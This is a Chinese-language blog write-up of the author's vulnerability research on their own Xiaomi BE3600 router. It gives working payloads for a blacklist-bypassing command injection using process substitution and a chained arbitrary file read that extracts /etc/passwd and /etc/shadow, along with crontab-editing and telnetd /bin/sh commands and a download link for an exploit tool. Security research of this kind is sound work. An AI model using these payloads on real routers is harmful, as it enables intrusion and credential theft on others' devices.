家里这台小米 BE3600 2.5G 是今年换上的,型号标着 RD15,接在光猫后面当 AP 用。用久了有个地方一直别扭:官方固件把 SSH 锁得很死,nvram 里的 ssh_en 一直是 0,手动改成 1,过不了多久又会被某个守护进程改回去。想看眼转发规则、想往里塞点东西,全够不着。

恩山上有讨论这个型号的帖子,说法大致是 1.0.87 这版把 SSH 关得比较彻底,想开就得往下降固件,1.0.65 甚至 1.0.31,还得配救砖工具。我不想降级——新固件修了一堆东西,为了一个 shell 退回去,属于给自己找麻烦。何况一台跑在自己家里的机器,想在固件里彻底藏住一个 shell,没那么容易。那就自己看看它到底怎么写的。

同类的事我在上一台设备上刚做过一遍——联通 HG6371F 光猫,那台机器最后是从一个不做认证的出厂接口一路拿到 root shell 的,全过程记录在这儿。那台是光猫,这台是路由器,厂商不同、系统也不同,但「翻固件、找接口」这套活儿的逻辑是一样的。

这篇就是那几天的记录。先把结论摆出来:telnet 到最后也没开成,但顺手挖到了两个能稳定复现的漏洞——一个命令注入,一个任意文件读取。两个原语合起来,基本等于把这台机器的文件系统摊开了;最后我用 tkinter 写了个 Windows 图形工具,把它们封了进去。

有句话得先讲。这台路由器是我自己买的,跑在自己家里,所有测试都在这台机器上完成。下面出现的接口名、参数、payload,请你只对着自己的设备用——别人的路由器,哪怕只是「看一眼」,也是另一回事。

小米 BE3600 漏洞挖掘过程中用到的 Python 脚本清单,含 enum_tools.py、grab_routes.py、fsprobe.py 等一次性工具
这一轮折腾攒下来的脚本,二十多个,都是一次性的:enum_tools.py、grab_routes.py、fsprobe.py、fix_cron.py、daemonize.py……文件名基本就是当时的任务,最后那个 logs.tar.gz 是当时从设备上拉回来的日志包。

先把手里这台机器的信息记清楚

小米 BE3600 2.5G 路由器正面实拍,四根天线与正面状态指示灯
就是这台:小米 BE3600 2.5G 版,四根天线,正面只有一个状态灯。全文所有结论都出自它,全程没拆过机。

后面所有结论都建立在这一台机器上,所以先把一开始就知道的那点信息列出来。这些都是包装盒和后台页面直接告诉我的:

项目值
产品名Xiaomi 路由器 BE3600 2.5G 版
硬件平台RD15
固件版本1.0.87
固件通道release
管理面http://192.168.31.1/cgi-bin/luci/web
测试端Windows 11 + Python 3.13.5

管理面是典型的 MiWiFi 那一套:nginx 挂在前头,后面是 Lua 写的 CGI。听起来很常规,但越常规的东西越容易被写崩——这个判断后来被证明是对的。至于主控是什么、内存多大、内核哪个版本,那是后面从系统里读出来的,等读到的时候再跟这里对一遍。

想调接口,先得把 stok 拿到手

小米的管理接口都挂在 /cgi-bin/luci/;stok=<token>/api/ 下面,没有这个 stok,后面什么都干不了。所以第一步就是登进去,把令牌换出来。

好消息是,这套登录加密的逻辑没藏在外部 js 里,就内联在 /cgi-bin/luci/web 的 HTML 中,一个叫 Encrypt 的对象,newEncryptMode 是 1。抠出来就几行:

key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
nonceCreat: function () {
    var type = 0;
    var deviceId = '2c:0d:a7:3b:60:9b';
    var time = Math.floor(new Date().getTime() / 1000);
    var random = Math.floor(Math.random() * 10000);
    return [type, deviceId, time, random].join('_');
},
oldPwd: function (pwd) {
    if (newEncryptMode == 1) {
        return CryptoJS.SHA256(this.nonce + CryptoJS.SHA256(pwd + this.key).toString()).toString();
    }
}

密码走两层 SHA256,密钥硬编码在页面里。关键在于 nonce 完全是前端自己造的,服务端既不校验它的时效,也不管它从哪来。这本身算不上漏洞,但意味着整个登录请求可以脱离浏览器自己拼——不需要抓包,不需要模拟点击。

Python 侧复现就是这么几行:

nonce = "0_%s_%d_%d" % (DEVICE_ID, int(time.time()), random.randint(0, 9999))
inner = hashlib.sha256((password + KEY).encode()).hexdigest()
outer = hashlib.sha256((nonce + inner).encode()).hexdigest()
# POST /cgi-bin/luci/api/xqsystem/login
#   username=admin & password=<outer> & logtype=2 & nonce=<nonce>
小米 BE3600 管理面登录加密流程图,展示 nonce 生成、两层 SHA256 与 POST 换 token 的过程
管理面登录的加密流程。KEY 硬编码在页面里,nonce 由前端生成,服务端不校验——所以整个登录过程可以脱离浏览器复现。

返回 {"code":0,"token":"……"},token 就是 stok。这一步没什么技术含量,但它是后面一切的前提。

拿到令牌之后,我把管理页的 JS 整个扒了下来,把里面的 API 路径全提取出来——四十多个,分在 xqsystem、xqnetwork、misystem、xqnetdetect 几个命名空间下。翻的时候我大概理出两条线,后面几节就把它俩分别拆开讲:

小米 BE3600 两条漏洞原语的完整利用链示意图,从管理面登录到命令注入与任意文件读取的汇合路径
两条原语的完整利用链。左边是拿到 stok,中间分成命令注入和文件读取两路,最后都落到 /tmp/wifi_analysis.log 上被日志包带出来。

第一个洞:一个绑定接口,把参数直接喂进了 shell

扒出来的接口里,有一个 api/xqsystem/start_binding,参数是 uid 和 key。这种「绑定」类接口在内核固件里通常是给 App 和路由器配对用的,历史上有过命令注入的前科,我就随手试了一下。

结果很有意思:正常发一个 key=1234,接口返回 {"code":0};但只要 key 里带上几个特定的字符,返回立刻变成 {"code":1523}。

1523 这个码不是「参数错误」,它是校验拦下了。也就是说,服务端在把参数拼进某个地方之前,先做了一次字符黑名单检查——而这次拦截本身,等于主动告诉我「这里真的会拼命令」。换我是写过滤规则的人,大概不会希望别人知道这一点。

先摸清它到底封了哪些字符

那就逐字符试一遍,每一个字符单独发一次请求,按返回码判定。先把这些字符按「在 shell 里能干什么」列出来:

字符在 shell 里的作用
`命令替换
;命令分隔
>输出重定向
|管道
$变量展开 / 命令替换
&后台执行 / 逻辑与
换行符 LF断句,等价于分号
<输入重定向
( )子 shell / 进程替换
#注释

然后我把每个字符都实测了一遍,记录如下:

小米 BE3600 start_binding 接口字符黑名单逐字符实测结果表,列出被封禁与可用的字符及对应返回码
逐字符实测结果。被封的是 ` ; > | $ & 和换行符,可用的是 <、括号和 #。

结论很清楚。被封的七个字符,正好覆盖了 shell 里所有「写」和「连接」的手段——重定向、管道、命令分隔、变量展开、后台执行,一个不落。但留下来的那三个同样重要:<、圆括号、#,代码注释里一个都没提到它们。

于是绕过思路就出来了。bash 有个语法叫进程替换(process substitution),写法是 <(命令),它只用到 < 和括号,一个被禁字符都不沾:

' <(命令) #

前面那个单引号是为了提前闭合服务端拼接语句里的引号,末尾的 # 把后面残留的尾巴注释掉。整条 payload 里,黑名单上的字符一个都没出现。

没有回显,那就拿响应时间当尺子

接下来的问题是:怎么证明它真的执行了?

这个注入点没有回显。命令的 stdout 被丢进进程替换的管道里,然后就没下文了。你以为执行了,也可能只是参数被静默丢弃——这两种情况从响应上看一模一样。

注入点没回显的时候,最土也最可靠的办法是拿执行时间当侧信道。让命令睡一会儿,看响应慢不慢:

小米 BE3600 命令注入时序侧信道验证的柱状图,对比基线 0.17 秒与 sleep 4、sleep 8 的响应耗时
用 sleep 做时序探针。睡 4 秒响应就慢 4 秒,睡 8 秒就慢 8 秒;最后一条被过滤器拦下,立刻返回。

四条数据放在一起看,链条就闭合了:

  • 基线,注入 <(true):0.17 秒
  • 注入 <(sleep 4):4.13 秒
  • 注入 <(sleep 8):8.13 秒
  • 同样的 sleep 8,但命令里塞了个被禁的 >:0.15 秒

睡 4 秒响应就慢 4 秒,睡 8 秒就慢 8 秒,误差在 0.2 秒以内。这不是网络抖动,也不是巧合,是 shell 真的 fork 了子进程在执行。而第四条更能说明问题:同样是 sleep 8,只在命令里加了一个 >,响应时间立刻跌回 0.15 秒——过滤器是真的在拦,不是摆设。

走到这里,第一个原语算是稳了:任意命令执行,无回显,需要绕字符黑名单。用 CWE-78 的说法,这是最标准的一类 OS 命令注入。

第二个洞:日志打包接口被我当成了文件中转

命令能执行了,但看不见输出,用起来还是憋屈。想读个 /etc/passwd,总不能靠 sleep 数时间吧。

翻接口列表的时候,我注意到一组备份相关的:misystem/c_backup、c_download、c_upload、c_restore。顺着 c_download 去管理页的 JS 里找调用方式,看到这么一行:

var downloadURL = '/cgi-bin/luci/;stok=X/api/misystem/c_download';
window.location.href = downloadURL + "/" + rsp.file;

原来文件名是路径段,不是查询参数。

再回头看 api/misystem/sys_log 是干什么的。它是个日志收集接口,调用之后会在服务端打一个包,返回包名,比如 2026-09-25--07:35:31.tar.gz。我把它下载下来解开一看,内容比预想的丰富得多:

./tmp/messages              <- syslog
./tmp/resolv.conf
./tmp/wifi_analysis.log     <- 无线关联日志
./log/data/login_records    <- 登录记录
./stat/system-02-ps.txt     <- 进程表
./stat/system-06-tmpdir.txt <- /tmp 目录清单
./stat/system-07-crontab.txt
./stat/hardware-02-nvram.txt <- 完整 nvram 转储
./cfg/wireless  ./cfg/network  ./cfg/miqos ...

一个给客服排障用的诊断包,把进程表、临时目录、定时任务、nvram 全打进去了。而真正关键的地方在于:这个包里的文件路径是固定的,我可以往那个路径里塞东西。

链路就通了,一共三次请求:

# 1. 注入命令,把目标文件搬到日志包会打进 tar 的位置
' <(cp /etc/passwd /tmp/wifi_analysis.log) #

# 2. 请求日志收集接口,拿到包名
GET /cgi-bin/luci/;stok=<STOK>/api/misystem/sys_log
    -> {"file":"2026-09-25--07:36:41.tar.gz","code":0}

# 3. 下载并解包,取出 ./tmp/wifi_analysis.log
GET /cgi-bin/luci/;stok=<STOK>/api/misystem/c_download/2026-09-25--07:36:41.tar.gz
小米 BE3600 任意文件读取链路图,展示注入命令、调用 sys_log 打包、c_download 下载与解包的四个步骤
把日志打包接口当文件中转:注入命令搬文件、调 sys_log 打包、再从 c_download 下载解包。

实测读出来的东西:/etc/passwd、/etc/shadow、/etc/init.d/dropbear、/etc/crontabs/root、/proc/mtd、/proc/version…… 整台机器的文件系统基本就是透明的了。从利用方式上看,这属于把文件与目录暴露给外部可访问的那一类,对应 CWE-552。

procfs 这个坑,第一次读 /proc/cpuinfo 拿到的是空文件

一开始我兴冲冲地去读 /proc/cpuinfo,结果拿到的是个空文件。

查了一下才反应过来:procfs 里几乎所有文件的 st_size 都是 0。它们不是真的为空,而是内容在读取时才由内核动态生成,但 cp 是按 stat 给出的大小去复制的——大小是 0,它自然就复制了 0 字节,还觉得自己成功了。这个行为在 proc(5) 里写得很清楚,只是平时不会有人盯着看。

解法是改用 dd,它不依赖 st_size,一直读到 EOF 为止:

' <(dd if=/proc/cpuinfo of=/tmp/rd15_out) #

顺带说,cat 加重定向之类的写法在这里也不行——重定向那个 > 本来就被封了。dd 没这个问题,而且 if= / of= 全是合法参数,一个被禁字符都不沾。

既然能读文件了,顺手把硬件底细看了一遍

有了任意文件读取,看硬件就是顺带的事了,全部来自 /proc 和 /sys,没拆机:

从小米 BE3600 的 proc 与 sys 文件系统读出的硬件概览,含主控 IPQ5312、四核 ARMv7、180MB 可见内存与温度
从 /proc 与 /sys 读出来的硬件概览。这台机器没拆过,数据全是从系统里抠的。

前面那张表是后台页面告诉我的,这一节是直接从系统里读出来的,两边的口径有几处对不上,不同于网上各种KOL拆解都没做就胡乱说,这次值得单独说:

主控是 IPQ5312,不是 IPQ5332。有意思的是 /tmp 下有个叫 IPQ5332 的空目录,估计是几款机器共用 SDK 留下的命名残留。以 /sys/devices/soc0/machine 为准——顺带说,凑近看丝印认芯片,可信度还不如直接读这个文件。

CPU 是 32 位 ARMv7,4 核 Kryo,频率恒定在 1100 MHz。网上普遍写成「四核 Cortex-A53」,但这台机器自己报的是 architecture 7 加 part 0x801——A53 在 cpuinfo 里应该是 architecture 8 配 part 0xd03,对不上。而 0x801 在社区维护的核编号表里对应 Kryo 2xx Silver,那颗核本身又是 A53 派生。所以「A53」和「v7」两种说法可能并不矛盾,一个是核的设计来源,一个是它实际跑的模式,我手上的证据只能到这里。CPU 指令集里 aes、pmull、sha1、sha2、crc32 都在,硬件加密加速是齐的。

这一条跟网上不少资料的说法对不上,把两条命令的原始输出贴出来:

小米 BE3600 的 /proc/cpuinfo 原始输出,显示 CPU architecture 7、CPU part 0x801、model name ARMv7 Processor rev 4 (v7l)
/proc/cpuinfo 的原始输出:CPU architecture: 7、CPU part: 0x801、model name: ARMv7 Processor rev 4 (v7l)。Cortex-A53 在这里应该是 architecture: 8 配 part: 0xd03——对不上。
小米 BE3600 上执行 uname -a 的结果,返回 Linux XiaoQiang 5.4.213 armv7l GNU/Linux
uname -a:Linux XiaoQiang 5.4.213 #0 SMP PREEMPT Thu Mar 20 02:49:04 2025 armv7l GNU/Linux。两条命令互相印证:架构是 ARMv7(v7l),不是 ARMv8 那一档的 A53。

内存标称 256 MB,内核只看见 180 MB,中间的差额被 SoC 保留区、GPU 和无线固件吃掉了,而且没有 swap。温度在 62.5 到 63.1 °C 之间,三路传感器取自 SoC 内置的 tsens,测的时候是空载——所以这个数只说明它不凉快,说明不了别的。

闪存这块更有意思:

小米 BE3600 闪存分区表,列出 SBL1、MIBIB、QSEE、APPSBL、rootfs 与 overlay 等 mtd 分区及容量
/proc/mtd 摘录。高通标准布局,rootfs 是 42 MB 的 A/B 双份;另一条 26.8 MB 的分区名字叫 overlay,但里面装的不是可写的 overlayfs,而是一个 UBI 设备。

但真正让我停下来看了一会儿的是挂载表:

/dev/mtdblock25     /               squashfs  ro      23.3M  100% 满
ubi1:cfg            /data           ubifs     rw      19.5M   用 5.8M
/dev/mapper/sec_cfg /etc/config     ext4      rw      5.7M    用 729K
/dev/mapper/sec_cfg /etc/crontabs   ext4      rw
/dev/mapper/sec_cfg /etc/smartvpn   ext4      rw
none                /etc            ramfs     rw

/etc 本体是 ramfs,重启就没了;而所有敏感配置——/etc/config、/etc/crontabs、/etc/smartvpn——全挂在 /dev/mapper/sec_cfg 上。那是一个 dm-crypt 加密卷。

这一下把之前的一个疑问解释通了:官方后台导出的配置备份,.des 文件里只有一行明文的键名列表,.mbu 却是一坨密文——因为配置本来就在加密卷里,导出的时候没必要再骗你一次。

想让命令带回显,结果把 crond 弄死了

这段单独拿出来讲,因为它的症状特别有迷惑性。

为了给命令弄出回显,我走了一条比较绕的路:payload 里不能出现 >,那就从别的地方借一个。crontab 里本来就有带着 >/dev/null 的行,用 sed 的反向引用把它抓出来再重新输出:

# 字符类 [^a-zA-Z0-9/ ] 恰好排除掉斜杠和空格,
# 所以它只能匹配到那个 '>',而 payload 全程没写过 '>'
sed -i "s,.*\([^a-zA-Z0-9/ ]\)/tmp/rd15_cmd_out.*,* * * * * 命令 \1/tmp/rd15_cmd_out 2\1/tmp/rd15_cmd_out," /etc/crontabs/root

思路是:把命令塞进 crontab,让 cron 每分钟跑一次并把输出重定向到文件,再通过上面那条读文件通道取回来。绕,但能工作。

改完 crontab 之后,我习惯性地敲了:

killall -HUP crond

然后 cron 就再也没执行过任何任务。

排查花了很久,因为所有表象都是对的:ps 里 crond 进程好好活着,crontab 文件权限是 0600 root:root,格式合法,用一个完全不需要重定向的最小任务(cp /etc/hostname /tmp/CRONTEST)去测,文件也不出现。换 -b 启动、换 -f 启动、重启 crond,全都没用。

最后还是放弃了这条通道。教训是:busybox 的 crond 不支持 SIGHUP 重载。GNU 那套「发 HUP 让服务重读配置」的经验在这里不成立,它收到 HUP 之后行为就不正常了。事后查了一下,busybox crond 本来就是靠 mtime 自己发现 crontab 变化的,根本不需要发信号。一条从桌面 Linux 带过来的肌肉记忆,换了个环境就成了破坏性操作。

这事儿还有个副作用:它让我对「crond 能稳定承压」这件事彻底死了心,所以工具里这条路只当兜底——取回输出优先走 inetd shell 通道,crontab 只在通道不可用时顶上。

telnet 那部分,老实说没开成

绕了这么大一圈,回到最初的目的:telnet 到底开没开成?

没开成。但查清楚了一些东西,一并交代。

第一个发现是 /usr/sbin/telnetd 这个文件存在,而且它是个软链接:

lrwxrwxrwx  /usr/sbin/telnetd -> ../../bin/busybox
-rwxr-xr-x  /bin/busybox       499737 字节

顺手把 busybox 的 applet 列表 dump 出来,telnetd、nc、inetd、ftpd 全都在:

BusyBox v1.36.1 (2025-03-20 02:49:04 UTC) multi-call binary.
Currently defined functions:
	[, [[, arping, ash, awk, base64, basename, bunzip2, cat, chgrp, chmod,
	chown, chroot, clear, cmp, cp, crond, crontab, cut, date, dd, devmem, df,
	...
	nc, netmsg, netstat, nice, nslookup, ntpd, passwd, pgrep, pidof, ping,
	...
	telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr,
	traceroute, traceroute6, true, udhcpc, umount, uname, uniq, unxz, uptime, ...
MiWiFi RD15 Toolkit 的文件读取标签页读取小米 BE3600 的 /etc/init.d/dropbear 脚本,显示 5189 字节
工具里的「文件读取」标签页,正在读 /etc/init.d/dropbear:5189 字节,2.5 秒返回。下面那段 start_service() 就是从这份文件里抠出来的。

/usr/sbin/dropbear 也在,164 KB,是个 dropbearmulti;/usr/bin/dropbearkey 指向它;host key 也齐:

-rwxr-xr-x  /usr/sbin/dropbear                       164203
lrwxrwxrwx  /usr/bin/dropbearkey -> ../sbin/dropbear
            /etc/dropbear/dropbear_rsa_host_key      存在

再看 /etc/init.d/dropbear 的启动逻辑,条件卡得很明确:

start_service()
{
    flg_ssh=`nvram get ssh_en`
    channel=`/sbin/uci get /usr/share/xiaoqiang/xiaoqiang_version.version.CHANNEL`
    if [ "$flg_ssh" != "1" -o "$channel" = "release" ]; then
        return 0
    fi
    ...
}

要同时满足 ssh_en=1 且 channel 不是 release。于是我把 nvram set ssh_en=1、nvram commit 都执行了,把版本号文件里的 release 用 sed -i 改成 debug(sed -i 就地修改,不需要 >,正好绕开过滤),再 /etc/init.d/dropbear start——

端口一个都没起来。

telnetd 也一样:/usr/sbin/telnetd -l /bin/sh -p 23 执行了,无报错,无输出,不监听。前台模式 timeout 90 /usr/sbin/telnetd -f -l /bin/sh -p 23 跑满 90 秒,期间端口探测零次命中。用权威一点的 netstat -ltnp 看内核视角的监听表,里面只有系统原有那几个服务,没有 telnetd,也没有 dropbear。

我也怀疑过是不是自己的端口探测方法有问题——毕竟我在端口探测上早吃过亏:自己写的脚本在一个僵死端口上测出过「开放」,白高兴一场。所以后来所有结论都改用两个更硬的证据:busybox 自己的 netstat -ltnp,以及 pidof 检查进程是否真的存在。结论一致:进程根本没留下来。

再往下就该查是不是 daemon 化的问题了(setsid 和 nohup 在这个 busybox 里都没编进去,我用 start-stop-daemon -b 试过,也没用),但这个方向已经偏离开 telnet 这件事本身太远,就先收手了。

留下的事实是:二进制俱在、相关 nvram 已写入、启动脚本条件已满足,但服务就是不监听。这一条我没有结论,写出来是因为它是个真实的边界——能命令执行不等于能开服务,中间还隔着进程环境、控制终端、文件系统权限这些东西。同类机器上把这条路走通过的例子也有,比如 华为 V175 那种「开 telnet 再补 shell」的玩法,但那台的实现跟这台完全不一样,照抄没用。

谁要是踩到我前面把它啃下来了,欢迎来告诉我一声。

能稳定复用了,就写个工具

两条原语单独用起来都不算舒服:命令注入要绕字符,读文件要手动跑三步。而且每次都得在脑子里记着「哪个字符不能用」,很容易出错。

所以做了个 Windows 图形工具,把这两个原语封进去。选 tkinter 是因为标准库自带、打包体积小,用 PyInstaller 一压就是一个单文件 exe,不用装 Python 也不用装依赖。

MiWiFi RD15 Toolkit 工具主界面,连接前点击采集设备信息会提示先连接目标设备
工具主界面。没连上设备就点采集,会被先拦一道提示——省得白跑一趟请求。

连上之后,设备信息、文件读取、目录浏览、命令执行都在一个窗口里:

MiWiFi RD15 Toolkit 连接小米 BE3600 后读取到的设备信息表格,含平台 RD15、固件 1.0.87 与 CPU 四核 1100MHz
连接后读到的设备信息,跟前面从 /proc 里挖出来的数据能对上。

几个实际用下来的设计点:

  • 过滤字符前置检查。输入的命令或路径里含 `、;、>、|、$、&,工具直接拒绝并告诉你哪个字符有问题,不会白发一个注定返回 1523 的请求。
  • 自动区分 cp 和 dd。路径以 /proc 或 /sys 开头就走 dd,其它走 cp,不用我每次想着 procfs 那个坑。
  • 列目录不用 ls。ls -la 需要重定向,而重定向需要那个被封的 >。改成用 tar cf 打包后解析 ustar 头里的文件名——tar 的输出目标本身就是个参数,不需要重定向。
  • 盲执行和取回输出分开。亚秒级的盲执行放在最顺手的位置(很多操作比如 nvram set、改文件、重启服务本来就不需要看输出),要看输出就走「执行并取回输出」:优先走 inetd shell 通道,几秒就能回来,通道不可用时自动回退 crontab。

工具是 MiWiFi-RD15-Toolkit-v1.2.exe,单文件,10.8 MB,Windows 10 / 11 直接跑。源码和 README 一并放在压缩包里,想自己改或者只看实现都行。同类的小工具我写过几个,Windows 上那个 OpenSSH 离线一键安装包和 DoS 防护探测工具都是同一个路子:自己要用,就顺手做成别人也能用的样子。

写在最后

回头看这两个洞,它们其实是一路货色:都不是什么精妙的越界或者内存破坏,一个是参数被当成了代码,另一个是一个功能被用来查它本来不该能查的东西。

start_binding 那个是典型:过滤规则写了,但黑名单是按「shell 里常见能干的事」列的,列的时候漏了进程替换这个语法糖——它正好只用 < 和括号。第二个更省事,连过滤都不用绕开:一个给客服排障用的日志收集接口,把进程表、nvram、配置目录全打进包里提供下载,那它天然就是个文件外带通道。功能是合法的,组合起来就变了性质。

那七个被封的字符里没有 <,也没有 (,我猜写规则的人脑子里想的是「别让用户往里塞重定向和管道」,而进程替换这种冷门语法压根没进脑子。这类「照着常见攻击面列黑名单」的写法,漏掉的往往就是那些不常见但同样有效的语法。黑名单这件事本身就注定漏,能绕的语法永远比能想到的多一条。

至于 telnet,我还是不甘心。它卡在哪儿我心里大概有数——进程起不来,但报错拿不到。后面有空了可能会换个思路再啃一次,比如先想办法把 stderr 捕获出来,看清它到底在抱怨什么。顺便说,同一价位段的路由器后台差异比想象中大,之前我预览过 中兴 BE7200Pro+ 的固件,那是另一套完全不同的设计。

工具下载

文件名:MiWiFi-RD15-Toolkit-v1.2.exe

分享链接:https://ug.link/xiaozou/filemgr/share-download/?id=df8d8a98a4e344c8bceb862ca554f6c9

访问密码:tpqa

免责声明

文中涉及的命令注入与文件读取原语,都是在我自己购买、自己组网使用的设备上实际执行并验证过的;工具也是为了自己重复使用方便而写。请只在自己的设备上做这类测试。

测试环境:Windows 11 / Python 3.13.5 / 目标 Xiaomi BE3600 2.5G(RD15)固件 1.0.87。

欢迎来到XiaoZou123,这里是一个电脑极客、数码爱好者网站。我平时喜欢关注数码新闻,研究计算机技术。如果你看我头像觉得我是二次元,那我其实还算不上!
最后更新于 2026-10-06